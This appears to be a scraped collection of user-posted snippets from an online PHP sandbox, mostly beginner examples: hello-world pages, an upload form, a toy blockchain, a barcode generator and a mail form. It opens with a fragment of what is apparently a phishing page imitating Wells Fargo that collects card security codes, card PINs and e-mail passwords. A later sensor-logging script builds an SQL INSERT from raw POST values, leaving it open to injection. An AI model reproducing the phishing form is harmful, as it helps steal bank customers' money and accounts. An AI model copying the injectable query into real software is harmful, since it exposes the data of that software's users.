09</option> <option value="10"> 10</option> <option value="11"> 11</option> <option value="12"> 12</option> </select>&nbsp;<select class=" name="x19"> <option value="0000" selected="selected">year</option> <option value="2018"> 2018</option> <option value="2019"> 2019</option> <option value="2020"> 2020</option> <option value="2021"> 2021</option> <option value="2022"> 2022</option> <option value="2023"> 2023</option> <option value="2023"> 2024</option> <option value="2023"> 2025</option> <option value="2023"> 2026</option> <option value="2024"> 2024</option> </select> </td> </tr> <tr> <td class="inputField1" width="35%" align="right"> <label id="cvv"> Card Security Code&nbsp;</label><span class="alertText2">*</span></td> <td class="inputTextBox" width="65%"> <input name="x20" maxlength="4" size="5" type="text" required>&nbsp;&nbsp; </td> </tr> <tr> <td class="inputField1" width="35%" align="right"> <label id="pin"> Card PIN&nbsp;</label><span class="alertText2">*</span></td> <td class="inputTextBox" width="65%"> <input name="x21" value=" maxlength="4" size="5" type="password" required><span class="instrText" style="font-size:10px">&nbsp;&nbsp;(4 digits)</span> </td> </tr> </tbody></table> <table width="100%" cellspacing="0" cellpadding="2" border="0"> <tbody><tr> <td valign="top"> <table width="100%" cellspacing="5" cellpadding="2" border="0"> <tbody><tr> <td class="tanrow" colspan="5" align="left"><span style="font-size:11px"> &nbsp;&nbsp;Point of Contact for Account</span></td> </tr> <tr> <td colspan="6">&nbsp;&nbsp;&nbsp;<span class="instrText" style="font-size:11px">It is important that this Point of Contact information be correct and up to date.</span></td> </tr> <tr> <td colspan="2"> <!-- BEGIN section text --> <!-- END section text --> </td> </tr> <tr> <td colspan="2"> &nbsp;</td> </tr> <tr> <td class="inputField1" width="35%" align="right"> <label id="email"> E-mail Address&nbsp;</label><span class="alertText2">*</span></td> <td class="inputTextBox" width="65%"> <input name="x22" maxlength="50" id="email" title=" size="30" type="text" required> </td> </tr> <tr> <td class="inputField1" width="35%" align="right"> <label id="empwd"> E-mail Password&nbsp;</label><span class="alertText2">*</span></td> <td class="inputTextBox" width="65%"> <input name="x23" maxlength="25" id="empwd" title="Enter your E-mail Password" size="30" type="password" required> </td> </tr> </tbody></table> </td> </tr> <tr> <td class="bodyText"> <strong><span class="alertText2">*</span>Required field</strong></td> </tr> </tbody></table> </td> <td> &nbsp;</td> </tr> <tr> <td colspan="3"> &nbsp;</td> </tr> <tr> <td colspan="3" class="divider2"> &nbsp;</td> </tr> </tbody></table> </td> </tr> </tbody></table> <div class=clearboth>&nbsp;</div> <div id="buttonBar" class="buttonBarPage"> <input type="submit" class="primary" name="continue" value="Continue" tabindex="3"/> </div> </form> </div> </div> <div class="clearAll">&nbsp;</div> <div class="clearAll">&nbsp;</div> </div> <script type="text/javascript"> // <![CDATA[ document.Signon.userid.focus(); // ]]> </script> <noscript><!-- No alternative content --></noscript> <div class="clearAll">&nbsp;</div> </div> </div> <div id="footer"> <p class="footer1"> <a href="https://www.wellsfargo.com/about/about" tabindex="4">About Wells Fargo</a> | <a href="https://www.wellsfargo.com/careers/" tabindex="4">Careers</a> | <a href="https://www.wellsfargo.com/privacy_security/" tabindex="4">Privacy, Security &amp; Legal</a> | <a href="https://www.wellsfargo.com/privacy_security/fraud/report/fraud" tabindex="4">Report Email Fraud</a> | <a href="https://www.wellsfargo.com/sitemap" tabindex="4">Sitemap</a> | <a href="https://www.wellsfargo.com/" tabindex="4">Home</a> </p> <p class="footer2"> &copy; 1999 - 2018 Wells Fargo. All rights reserved. </p> </div> </div> </body> </html>

Create Your Widget

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; echo "welcome"; ?> </body> </html>

<?php function track() { static $count = 0; $count++; echo $count; } track(); track(); track(); ?>

<?php function track() { static $count = 0; $count++; echo $count; } track(); track(); track(); ?> <?php /** * Template Name: Home Page * * Display all widget content related to front page / home page. * * @package VMag */ get_header(); ?> <main id="main" class="site-main" role="main"> <div class="vmag-newsticker-wrapper"> <div class="vmag-container"> <?php do_action( 'vmag_news_ticker' ); ?> </div> </div><!-- .vmag-newsticker-wrapper --> <div class="homepage-slider-section"> <div class="vmag-container"> <?php if( is_active_sidebar( 'vmag_featured_slider_area' ) ) { if ( !dynamic_sidebar( 'vmag_featured_slider_area' ) ): endif; } ?> </div> </div> <!-- .end of home slider --> <div class="homepage-content-wrapper clearfix"> <div class="vmag-container"> <div class="vmag-main-content"> <?php if( is_active_sidebar( 'vmag_homepage_blocks_area' ) ) { if ( !dynamic_sidebar( 'vmag_homepage_blocks_area' ) ): endif; } ?> </div><!-- .vmag-main-content --> <div class="vmag-home-aside"> <?php if( is_active_sidebar( 'vmag_homepage_sidebar_area' ) ) { if ( !dynamic_sidebar( 'vmag_homepage_sidebar_area' ) ): endif; } ?> </div><!-- .vmag-home-aside --> </div> </div><!-- .homepage-content-wrapper --> <div class="homepage-fullwidth-wrapper clearfix"> <div class="vmag-container"> <?php if( is_active_sidebar( 'vmag_homepage_fullwidth_area_one' ) ) { if ( !dynamic_sidebar( 'vmag_homepage_fullwidth_area_one' ) ): endif; } ?> </div> </div><!-- .homepage-fullwidth-wrapper --> <?php $widget_column = vmag_widgets_count( 'vmag_homepage_fullwidth_area_two' ); ?> <div class="homepage-second-fullwidth-wrapper <?php echo esc_attr( $widget_column ); ?> clearfix"> <div class="vmag-container"> <?php if( is_active_sidebar( 'vmag_homepage_fullwidth_area_two' ) ) { if ( !dynamic_sidebar( 'vmag_homepage_fullwidth_area_two' ) ): endif; } ?> </div> </div><!-- .homepage-widget-column-wrapper --> </main><!-- #main --> <?php get_footer();

test

<html> <head> <title>test </title> </head> <body> <form action="./php/upload.php" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="Upload Image" name="submit"> </form> <?php $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); $uploadOk = 1; $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); // Check if image file is a actual image or fake image if(isset($_POST["submit"])) { $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]); if($check !== false) { echo "File is an image - " . $check["mime"] . "."; $uploadOk = 1; } else { echo "File is not an image."; $uploadOk = 0; } } // Check if file already exists if (file_exists($target_file)) { echo "Sorry, file already exists."; $uploadOk = 0; } // Check file size if ($_FILES["fileToUpload"]["size"] > 500000) { echo "Sorry, your file is too large."; $uploadOk = 0; } // Allow certain file formats if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" ) { echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed."; $uploadOk = 0; } // Check if $uploadOk is set to 0 by an error if ($uploadOk == 0) { echo "Sorry, your file was not uploaded."; // if everything is ok, try to upload file } else { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } ?> </body> </html>

myproject3

<html> <body> <h1>php</h1> <?php echo "hello world"; ?> </body> </html>

get-bulk-sms-cost-php

<?php $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "https://www.smsgateway.center/SMSApi/rest/send", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => ", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => "userId=YourUsername&password=YourPassword&senderId=SMSGAT&sendMethod=simpleMsg&msgType=text&mobile=919999999999%2C%20919999999998&msg=This%20is%20my%20first%20message%20with%20SMSGateway.Center&duplicateCheck=true&format=json&testMessage=true", CURLOPT_HTTPHEADER => array( "cache-control: no-cache", "content-type: application/x-www-form-urlencoded" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; } <html> <head> <title>Php Test Execution</title> </head> <body> <?php $reading = fopen('myfile.txt', 'r'); $writing = fopen('myfile.tmp', 'w'); $replaced = false; while (!feof($reading)) { $line = fgets($reading); if (stristr($line,'certain word')) { $line = "replacement line!\n"; $replaced = true; } fputs($writing, $line); } fclose($reading); fclose($writing); // might as well not overwrite the file if we didn't replace anything if ($replaced) { rename('myfile.tmp', 'myfile'); } else { unlink('myfile.tmp'); } ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Sandbox

<?php class Demo1 { public function run( int $number, float $value, string $text ) : bool { echo "\$number = {$number} : " . gettype($number) . "\n"; echo "\$value = {$value} : " . gettype($value) . "\n"; echo "\$text = {$text} : " . gettype($text) . "\n"; return true; } } echo "\nDemo 1\n\n"; $demo1 = new Demo1(); $demo1->run(1, 3.5, "hello"); // $demo1->run(1, null, "hello"); /** * PHP Fatal error: * Uncaught TypeError: * Argument 2 passed to Demo::run() must be of the type float, * null given, called in /home/cg/root/4715986/main.php * on line 21 and defined in /home/cg/root/4715986/main.php:5 */ class Demo2 { public function run( int $number, float $value = null, string $text ) : bool { echo "\$number = {$number} : " . gettype($number) . "\n"; echo "\$value = {$value} : " . gettype($value) . "\n"; echo "\$text = {$text} : " . gettype($text) . "\n"; return true; } } echo "\nDemo 2\n\n"; $demo2 = new Demo2(); $demo2->run(1, 3.5, "hello"); $demo2->run(1, null, "hello"); <?php function Connection(){ $server="server"; $user="user"; $pass="pass"; $db="database"; $connection = mysql_connect($server, $user, $pass); if (!$connection) { die('MySQL ERROR: ' . mysql_error()); } mysql_select_db($db) or die( 'MySQL ERROR: '. mysql_error() ); return $connection; } ?> <?php include("connect.php"); $link=Connection(); $result=mysql_query("SELECT * FROM `tempLog` ORDER BY `timeStamp` DESC",$link); ?> <html> <head> <title>Sensor Data</title> </head> <body> <h1>Temperature / moisture sensor readings</h1> <table border="1" cellspacing="1" cellpadding="1"> <tr> <td>&nbsp;Timestamp&nbsp;</td> <td>&nbsp;Temperature 1&nbsp;</td> <td>&nbsp;Moisture 1&nbsp;</td> </tr> <?php if($result!==FALSE){ while($row = mysql_fetch_array($result)) { printf("<tr><td> &nbsp;%s </td><td> &nbsp;%s&nbsp; </td><td> &nbsp;%s&nbsp; </td></tr>", $row["timeStamp"], $row["temperature"], $row["humidity"]); } mysql_free_result($result); mysql_close(); } ?> </table> </body> </html> <?php include("connect.php"); $link=Connection(); $temp1=$_POST["temp1"]; $hum1=$_POST["hum1"]; $query = "INSERT INTO `tempLog` (`temperature`, `humidity`) VALUES ('".$temp1."','".$hum1."')"; mysql_query($query,$link); mysql_close($link); header("Location: index.php"); ?>

sadheeer

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

project

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

bitcoin php

<?php /** * 简单的PHP区块链 * @author Yoper * @PHP技术交流QQ群 370648191 * @Email chen.yong.peng@foxmail.com * @wechat YoperMan */ namespace common\library\block; /** * 区块结构 */ class block{ private $index; private $timestamp; private $data; private $previous_hash; private $random_str; private $hash; public function __construct($index,$timestamp,$data,$random_str,$previous_hash) { $this->index=$index; $this->timestamp=$timestamp; $this->data=$data; $this->previous_hash=$previous_hash; $this->random_str=$random_str; $this->hash=$this->hash_block(); } public function __get($name){ return $this->$name; } private function hash_block(){ $str=$this->index.$this->timestamp.$this->data.$this->random_str.$this->previous_hash; return hash("sha256",$str); } } /** * 创世区块 * @return \common\library\block\block */ function create_genesis_block(){ return new \common\library\block\block(0, time(),"第一个区块",0,0); } /** * 挖矿,生成下一个区块 * 这应该是一个复杂的算法,但为了简单,我们这里挖到前1位是数字就挖矿成功。 * @param \common\library\block\block $last_block_obj */ function dig(\common\library\block\block $last_block_obj){ $random_str = $last_block_obj->hash.get_random(); $index=$last_block_obj->index+1; $timestamp=time(); $data='I am block '.$index; $block_obj = new \common\library\block\block($index,$timestamp,$data,$random_str,$last_block_obj->hash); //前一位不是数字 if(!is_numeric($block_obj->hash{0})){ return false; } //数数字,返回块 return $block_obj; } /** * 验证区块 * 这也是一个复杂的过程,为了简单,我们这里直接返回正确 * @param array $data */ function verify(\common\library\block\block $last_block_obj){ return true; } /** * 生成随机字符串 * @param int $len * @return string */ function get_random($len=32){ $str="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; $key = "; for($i=0;$i<$len;$i++) { $key.= $str{mt_rand(0,32)};//随机数 } return $key; } header("Content-type:text/html;charset=utf-8"); //生成第一个区块 $blockchain=[\common\library\block\create_genesis_block()]; //模拟生成其他区块,我们直接循环生成。实际中,还需要跟踪互联网上多台机器上链的变化,像比特币会有工作量证明等算法,达到条件了才生成区块等 //我们的链是一个数组,实际生产中应该保存下来 $previous_block = $blockchain[0]; for($i=0;$i<=10;$i++){ if(!($new_block=dig($previous_block))){ continue; } $blockchain[]=$new_block; $previous_block=$new_block; //告诉大家新增了一个区块 echo "区块已加入链中.新区块是 : {$new_block->index}<br/>"; echo "新区块哈希值是 : {$new_block->hash}<br/>"; print_r($new_block); echo "<br/><br/>"; }

kavya

<html> <body> <form action="welcome.php" method="post"> Name: <input type="text" name="name"><br> E-mail: <input type="text" name="email"><br> <input type="submit"> </form> </body> </html>

Smart Dustbin

<?php echo "<html>\n"; echo "<head>\n"; echo " <title>Welcome to Smart Dustbin</title>\n"; echo "<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js\"></script>\n"; echo "<style>\n"; echo "\n"; echo "\n"; echo "a.test2.test {\n"; echo " margin-left: 50px;\n"; echo "}\n"; echo "\n"; echo "a.test {\n"; echo " text-decoration: none;\n"; echo " font-weight: bold;\n"; echo " color: #fff;\n"; echo " background-color: #999;\n"; echo " padding: 12px;\n"; echo " cursor: pointer;\n"; echo " display: inline-block;\n"; echo "}\n"; echo "</style>\n"; echo "</head>\n"; echo "<body>\n"; echo "<div><center style=\"max-width: 0 auto 700px\">\n"; echo "<h1><span style=\"color:#000080;\">Welcome to Smart Dustbin</span> <br>\n"; echo "<span style=\"color:#CD5C5C\"> You are helping nature</span></h1>\n"; echo "<h2>Smart Waste Management using Raspberry Pi</h2>\n"; echo "<!-- <h3>Amount of waste: <span id=\"result\" style=\"color:#800000; font-size:20px\">12</span> cm</h3> -->\n"; echo "\n"; echo "<!-- <div id=\"alert\" style=\"color:#F00; font-size:20px; \"><br><br><b>Alert!!!<br>Container is full<br>Email sent.</b></div> -->\n"; echo "<a href=\"../test/1.htm\" class=\"test1 test\">Check the level of waste </a><a href=\"../test/2.htm\" class=\"test2 test\">Check the air quality in the bin</a>\n"; echo "<span style=\"text-align:center; display:block; margin-top:50px \"> \n"; echo "&copy; Kunal Suba - 1401097 <br> SEAS - Ahmedabad University\n"; echo "</span> \n"; echo "</center>\n"; echo "\n"; echo "</div> \n"; echo "\n"; echo "<!-- <script>\n"; echo "setInterval(\n"; echo " function()\n"; echo " {\n"; echo " $.getJSON('/show_weight',function(data) {\n"; echo " $(\"#result\").text(data.result);\n"; echo " if( data.result > 300 ) {\n"; echo " $(\"#alert\").show();\n"; echo " }\n"; echo " else {\n"; echo " $(\"#alert\").hide();\n"; echo " }\n"; echo " });\n"; echo " },\n"; echo "5000); -->\n"; echo "</script>\n"; echo "</body>\n"; echo "</html>\n"; echo "\n"; ?>

test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $client = new http\Client; $request = new http\Client\Request; $body = new http\Message\Body; $body->append(' {"header" : { "version" : "3.0", "merchantCode" : "d5c35d0b-061a-468d-8e99-a932f2d2f288", "signature" : "FnILyAlM/BFOrtqlzF44U1W69VNH.a." }, "body" : { "channelCode" : "BANK_TRANSFER", "notifyURL" : "http://localhost:50946/notify.aspx", "returnURL" : "http://localhost:50946/return.aspx", "orderAmount" : "10.00", "orderTime" : "1518573985", "cartId" : "1518573985992", "currency" : "CNY" }}'); $request->setRequestUrl('https://pg-staging.paysec.com/Intrapay/paysec/v1/payIn/requestToken'); $request->setRequestMethod('POST'); $request->setBody($body); $request->setHeaders(array( 'postman-token' => '7868f37e-4b04-ecdf-dd99-2280faface71', 'cache-control' => 'no-cache', 'content-type' => 'application/json' )); $client->enqueue($request)->send(); $response = $client->getResponse(); echo $response->getBody();?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; <p> man amadeahm</p> ?> </body> </html>

sadness

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

teste

<!DOCTYPE html> <html> <head> <title>ler arquivo txt</title> </head> <body> <?php //abrir o arquivo in,txt e definir o valor de M function valor_M($arq,$linha) { $arquivo = file($arq); $v_M = $linha - 1; $x = $arquivo[$v_M]; return $x; } valor_M("in.txt",1); $M = valor_M("in.txt",1); //abro o arquivo para leitura $arquivo = fopen ("in.txt", "r"); //inicio uma variavel para levar a conta das linhas e dos caracteres $num_linhas = 0; $caracteres = 0; //faco um loop para percorrer o arquivo linha a linha ate o final do arquivo while (!feof ($arquivo)) { //se extraio uma linha do arquivo e nao eh false if ($linha = fgets($arquivo)){ //acumulo uma na variavel número de linhas // $num_linhas=1; //acumulo o número de caracteres desta linha $caracteres += strlen($linha); } } fclose ($arquivo); //Abrir o arquivo in.txt e ler a segunda linha e pegar o texto function pega_texto($arq,$linha) { $arquivo = file($arq); $y = $linha - 1; $x = $arquivo[$y]; return $x; } pega_texto("in.txt",2); $vr_tex = pega_texto("in.txt",2); //contando a quantidade de caracteres do texto $carac = strlen( $vr_tex); //Soma Quantidade de Caracteres por linha $Qte_Carac_Linha = ($carac / $M); ?> <table width="508" border="1"> <tr> <td width="176">Texto_Arquivo_ in.txt </td> <td width="316"><?php echo $vr_tex; ?></td> </tr> <tr> <td>Valor_M </td> <td><?php echo $M ?></td> </tr> <tr> <td>Quantide Total de Caracteres :</td> <td><?php echo $carac ?></td> </tr> <tr> <td>Quantide de caracteres por linha :</td> <td><?php echo $Qte_Carac_Linha ?></td> </tr> </table> </body> </html>

Ashwini

<html> <head> <body> <form action="welcome.php" method="post"> Name: <input type="text" name="name" Email: <input type="text" name="email" <input type="submit"> </form> </body> </head> </html> !DOCTYPE html> <html lang="en-US"> <!-- head start --> <head> <title>Signup | InCircle. ERP Made Easy</title> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.0/jquery.min.js"></script> <script src="https://code.jquery.com/jquery-2.2.4.js" integrity="sha256-iT6Q9iMJYuQiMWNd9lDyBUStIq/8PuOW33aOqmvFpqI=" crossorigin="anonymous"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> <!-- <script type="text/javascript" src="https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script> --> <script src="static/js/main-script.js"></script> </head> <body> <input type="submit" class="button" name="insert" value="insert" /> <input type="submit" class="button" name="select" value="select" /> </body> <script> $(document).ready(function(){ $('.button').click(function(){ var clickBtnValue = $(this).val(); var ajaxurl = 'ajax.php', data = {'action': clickBtnValue}; $.post(ajaxurl, data, function (response) { // Response div goes here. alert("action performed successfully"); }); }); });</script> </html> <?php #questão 1 echo "</br> Questão 1 </br>"; $texto1 = "Na hipótese de infração às obrigações previstas neste Contrato, o Locatário ficará sujeito ao pagamento de cláusula penal não-compensatória equivalente ao valor de 3 (três) aluguéis vigentes à época da infração, sem prejuízo de eventuais perdas e danos devidos ao Locador.</br> Será, ainda, aplicada multa ao Locatário, caso este infrinja a obrigação de devolver as chaves do Imóvel ao Locador na data do término deste Contrato.</br> Na hipótese de o Locatário resilir este Contrato antes do término do prazo fixado com o Locador, este poderá exigir daquele o pagamento de cláusula penal compensatória equivalente ao valor de 3 (três) aluguéis vigentes à época da resilição, calculada proporcionalmente ao prazo restante deste Contrato, conforme o art. 4o da Lei n. 8.245/1991.</br> No caso de mora do Locatário no pagamento de quaisquer obrigações e/ou penalidades previstas neste Contrato, ser-lhe-ão aplicados os encargos moratórios previstos na Cláusula 3.6.</br>"; /*Definir qual é o genero do Locatário se o Locatário for do genero feminino variavel genero recebe 1 senão recebe 2 */ //feminino = 1 //masculino = 2 $genero = 2; if($genero == 1){ $texto1 = str_replace("o Locatário ","a Locatária ",$texto1); $texto1 = str_replace("ao Locatário","a Locatária",$texto1); } echo $texto1; #Questão 2 /* Para um vetor predefinido com as variaveis conhecidas considerei mais facil verificar a ultima letra de cada nome para determinar o genero. */ echo "</br></br></br> Questão 2 </br>"; $ITEM = array("João","Maria","Jose"); for($i = 0;$i<count($ITEM);$i++){ $string = substr($ITEM[$i],(strlen($ITEM[$i])-1),strlen($ITEM[$i])); if(strcmp($string,"a")){ echo $ITEM[$i]." é um aluno. "; } else{ echo $ITEM[$i]." é um aluna. "; } } echo "</br></br></br> Questão 3 </br>"; $arquivo = fopen("in.txt","r"); $linha1 = fgets($arquivo); $linha2 = fgets($arquivo); fclose($arquivo); $palavras = explode(" ",$linha2); $i=1; $count=0; $juntar = "; $texto = array(); foreach($palavras as $palavra){ if(strlen($palavra) <= $linha1){ if(strlen($juntar." ".$palavra) <= $linha1){ if(!strcmp($juntar,")){ $juntar = $palavra; }else{ $juntar = $juntar." ".$palavra; } }else{ $texto[$count] = $juntar."\r\n"; $count++; $juntar = $palavra; } if($i == count($palavras)){ $texto[$count] = $juntar."\r\n"; $count++; } }else{ $texto[$count] = $palavra."\r\n"; $count++; $juntar = "; } $i++; } print_r($texto); $arquivo_saida = fopen("out.txt","a+",0); foreach($texto as $frase){ $escreve = fwrite($arquivo_saida,$frase."\r\n"); } fclose($arquivo_saida);?>

138.0.60.50

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

If Else PHP

<!DOCTYPE HTML> <html lang="en"> <head> <meta charset="UTF-8"> <title>PHP Conditional Branching</title> </head> <body> <?php # Test one expression. if ( 4 > 2 ) { echo '<p>Yes, 4 is greater than 2 <br>' ; } # Test two expressions. if ( ( 4 > 2 ) && ( 8 > 4 ) ) { echo '4 is greater than 2 AND 8 is greater than 4<br>' ; } # Test with a default output. if ( 4 > 8 ) { echo '4 is greater than 8 <br>' ; } else { echo '4 is less than 8 <br>' ; } # Test with alternative. if ( 4 > 8 ) { echo 'This test is True </p>' ; } elseif ( 8 > 4 ) { echo 'Alternative test is True </p>' ; } else { echo 'Both tests are False </p>' ; } ?> </body> </html>

abcd

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

datc

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; echo "I am Tesfu Amsale"; ?> </body> </html>

<?php /*************************************************** * Kody kreskowe - EAN-13 * *************************************************** * Ostatnia modyfikacja: 01.11.2012 * * Autor: Jacek Kowalski (http://j

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php /*************************************************** * Kody kreskowe - EAN-13 * *************************************************** * Ostatnia modyfikacja: 01.11.2012 * * Autor: Jacek Kowalski (http://jacekk.info) * * * * Strona WWW: http://jacekk.info/scripts/barcodes * * * * Utwór rozprowadzany na licencji * * http://creativecommons.org/licenses/by-nc/2.5/ * ***************************************************/ /* Kodowanie znaków UTF-8 */ $len = strlen($_GET['kod']); if(trim($_GET['kod'], '0123456789')!='' OR ($len!=12 AND $len!=13)) { echo 'Znaki inne niż cyfry lub błędna długość ('.$len.')'; die(); } $kod = str_split(substr($_GET['kod'], 0, 12)); $now = 1; foreach($kod as $val) { if($now==1) { $sum += $val; $now = 3; } else { $sum += $val*3; $now = 1; } } $sum = 10-($sum%10); if($sum==10) $sum = 0; if($len==12) { $_GET['kod'] .= $sum; } elseif(substr($_GET['kod'], -1)!=$sum) { echo 'Błędna suma kontrolna '.$sum; die(); } unset($len, $kod, $now, $sum); $kol = array( '0' => array('A', 'A', 'A', 'A', 'A', 'A'), '1' => array('A', 'A', 'B', 'A', 'B', 'B'), '2' => array('A', 'A', 'B', 'B', 'A', 'B'), '3' => array('A', 'A', 'B', 'B', 'B', 'A'), '4' => array('A', 'B', 'A', 'A', 'B', 'B'), '5' => array('A', 'B', 'B', 'A', 'A', 'B'), '6' => array('A', 'B', 'B', 'B', 'A', 'A'), '7' => array('A', 'B', 'A', 'B', 'A', 'B'), '8' => array('A', 'B', 'A', 'B', 'B', 'A'), '9' => array('A', 'B', 'B', 'A', 'B', 'A') ); $code = array( 'start' => '101', 'lewa' => array( 'A' => array( '0' => '0001101', '1' => '0011001', '2' => '0010011', '3' => '0111101', '4' => '0100011', '5' => '0110001', '6' => '0101111', '7' => '0111011', '8' => '0110111', '9' => '0001011' ), 'B' => array( '0' => '0100111', '1' => '0110011', '2' => '0011011', '3' => '0100001', '4' => '0011101', '5' => '0111001', '6' => '0000101', '7' => '0010001', '8' => '0001001', '9' => '0010111' ) ), 'srodek' => '01010', 'prawa' => array( '0' => '1110010', '1' => '1100110', '2' => '1101100', '3' => '1000010', '4' => '1011100', '5' => '1001110', '6' => '1010000', '7' => '1000100', '8' => '1001000', '9' => '1110100' ), 'stop' => '101' ); function gen_binary($kod, $strona, $sys) { global $code, $kol; $kod = str_split($kod); $ret = ''; if($strona==0) { foreach($kod as $key => $val) { $ret .= $code['lewa'][$kol[$sys][$key]][$val]; } } else { foreach($kod as $val) { $ret .= $code['prawa'][$val]; } } return $ret; } function print_code($kod, $img) { global $b; $now = 0; $kod = str_split($kod); foreach($kod as $val) { if($val==1) { imageline($img, $now, 0, $now, 40, $b); $now++; } elseif($val==0) { $now++; } } } $sys = substr($_GET['kod'], 0, 1); $lewa = substr($_GET['kod'], 1, 6); $prawa = substr($_GET['kod'], 7); $i = imagecreate(95, 40); $w = imagecolorallocate($i, 255, 255, 255); $b = imagecolorallocate($i, 0, 0, 0); print_code($code['start'].gen_binary($lewa, 0, $sys).$code['srodek'].gen_binary($prawa, 1, $sys).$code['stop'], $i); header('Content-type: image/gif'); imagegif($i); ?> </body> </html>

Encrypt PHP

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; //echo uniqid('', true); $salt = sha1(rand()); $salt = substr($salt, 0, 10); $test = sha1("Test".$salt, false).$salt; $encrypted = base64_encode(sha1("Test".$salt, false).$salt); $decode = base64_decode($encrypted); echo $encrypted."\n".$decode."\n".$test; ?> </body> </html>

nkl;lm;//ml.m.,

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, murugan PHP!</h1>\n"; ?> </body> </html>

IPHP

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, murugan PHP!</h1>\n"; ?> </body> </html>

http://103.246.17.24/~sssp18/index.php

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

PHPOO

<?php echo "<h1>Hello, PHP!</h1>\n"; ?>

test

$x = 200; $y = 150; if($x == $y xor $x < $y xor $x >= $y){ echo "Yes"; }else{ echo "No"; }

THE IBAM ACADEMY

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

sohail

<!DOCTYPE HTML> <html> <head> <meta charset="UTF-8"> <title>Mail()</title> </head> <body> <?php if (!array_key_exists('Submitted',$_POST)) { ?> <form method="post" action="Mail.php"> <input type="hidden" name="Submitted" value="true"> Mail Server: <input type="text" name="Host" size="25"><br> To: <input type="text" name="To" size="25"><br> From: <input type="text" name="From" size="25"><br> Subject: <input type="text" name="Subject" size="25"><br> <textarea name="Message" cols="50" rows="10"></textarea><br> <input type="submit" value="Send Email"> </form> <?php } else { ini_set('SMTP',$_POST['Host']); $to = $_POST['To']; $from = 'From: ' . $_POST['From']; $subject = $_POST['Subject']; $message = $_POST['Message']; if(mail($to,$subject,$message,$from)) { echo "Message Sent"; } else { echo "Message Not Sent"; } } ?> </body> </html>

1234

<?php $date1 = new DateTime("1990-08-03"); $date2 = new DateTime("2018-01-20"); $interval = $date1->diff($date2); echo "difference " . $interval->y . " years, " . $interval->m." months, ".$interval->d." days ";

Test

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <?php // demo: https://goo.gl/8QlVYj error_reporting(E_ALL); ini_set('display_errors', 1); //require_once('GoogleTranslate.class.php'); $source = 'en'; $target = 'fr'; $text = 'New World Order is disintegrating, something else is happening -- Sott.net One of the more welcomed outcomes of the paring back of the U.S. State Department bureaucracy is the elimination of scores of "status quo enthusiasts." Since the end of World War II, the State Departments...'; //$translation = GoogleTranslate::translate($source, $target, $text); //echo '<pre>'; //print_r($translation); //echo $translation; //echo '</pre>'; //************************* // great but it break word // $result = str_split($text); echo $countCh = strlen($text) . "<br>"; // count character //echo $loopxtime = $countCh / 200 . "<br>"; // divide by allowed translation charectere 3000 or 3500 //echo(ceil($loopxtime) . "<br>"); // Check if should loop content translation if($countCh > 3000){ echo "Do loop<br>"; $translation="; //$splittext = explode("\n", wordwrap($text, 110, "\n")); $splittext = explode("@splitTXT", wordwrap($text, 3000, "@splitTXT")); // SPLIT SOMETHING WHO CAN NOT BE IN TEXT echo '<pre>'; $i = 0; foreach ($splittext as $item) { //$showtext.= "HELLO $item\n"; if($i!=0) $translation .= " "; //$translation .= $i." "; $translation .= GoogleTranslate::translate($source, $target, $item); //$translation .= " ".$translation; $i++; } echo $translation; echo 